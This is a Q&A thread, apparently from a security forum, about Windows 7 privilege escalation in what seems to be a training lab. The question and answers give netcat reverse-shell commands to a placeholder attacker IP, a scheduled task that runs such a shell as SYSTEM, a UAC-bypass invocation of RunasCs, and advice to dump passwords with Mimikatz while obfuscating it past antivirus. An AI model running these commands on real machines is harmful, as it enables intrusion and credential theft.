1

I am learning Windows Privilege escalation. I've managed to add a user to the Administrators group but I don't know how to execute nc.exe, present in the Temp dir, with elevated privileges.

I am running runas /user:tcm-pc\administrator nc.exe -e cmd <ip> <port>; however, it asks for an administrator password, which I don't have.

My end goal, here, is to get a reverse-shell as nt authority\system, with this newly created privileges for the user user.

Following are some of the details on the Windows box:

c:\Temp>net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
TCM
user
The command completed successfully.


c:\Temp>whoami
whoami
tcm-pc\user

c:\Temp>systeminfo

Host Name:                 TCM-PC
OS Name:                   Microsoft Windows 7 Professional 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          TCM
Registered Organization:   
...
Improve this question
3
  • @Learner: Your question is too broad. Please try to reformulate it more precisely.
    – mentallurg
    Commented Jun 18, 2020 at 1:07
  • What level of access do you have to the box? Can you run arbitrary commands? Interact with the GUI of a logged-in user? Make other changes at the same level as adding a new Administrator (which itself requires Administrator-level permissions)?
    – CBHacking
    Commented Jun 18, 2020 at 2:19
  • 3
    Since you were able to add the user in admin group, that's it. You are done. To your question how to get the reverse shell as higher privileged group have you tried using runas? runas will let you run programs as another user. For example, if you already have added a user hacker in administrator, then probably you can use runas this user to run nc.exe command and eventually get the reverse shell.
    – Prakash
    Commented Jun 18, 2020 at 3:28

3 Answers 3

Reset to default
2

As your whoami command states, your current user is user, and user is an administrator already, as your net command states.
That means that you won't gain anything in terms of privileges if you try to execute a command as administrator with runas.

You mention that your goal is to get a reverse shell as nt authority\system.
A member of the administrators group has the privilege to create a task that will run as nt authority\system with the following command for example:

 schtasks /create /sc minute /mo 5 /RU SYSTEM /tn myprivesc /tr "nc.exe -e cmd.exe <attacker_ip> <attacker_port>"
Improve this answer
0
1

I was facing something similar. I had a user&password, where the user was member of the Administrators group. What I found though was that simply using runas or PsExec to run a terminal in the name of this user didn't actually grant me Administrator privileges.

You could check that with whoami /priv.

What I found was that it was Windows UAC (User Account Control) that restricted my shells.

Ultimately I found a tool, RunasCs which could start a shell as my user, and could bypass UAC so that the new shell had all Administrator privileges. An additional nice feature of RunasCs is that it can redirect standard i/o to a remote address, like an integrated netcat.

Example invocation:

RunasCs.exe <user> <password> cmd.exe -r <remote host>:<port> --bypass-uac

Now that's still not nt authority\system but it is one step ahead. And in my case without UAC bypass I couldn't even invoke schtasks mentioned in the other reply, so after UAC bypass that could be the next step to get that.

Improve this answer
-1

You can try using Mimikatz on the target machine to extract the administrator's password. If there is an AV try obfuscating the Mimikatz code. And then execute the reverse shell using 'runas'.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .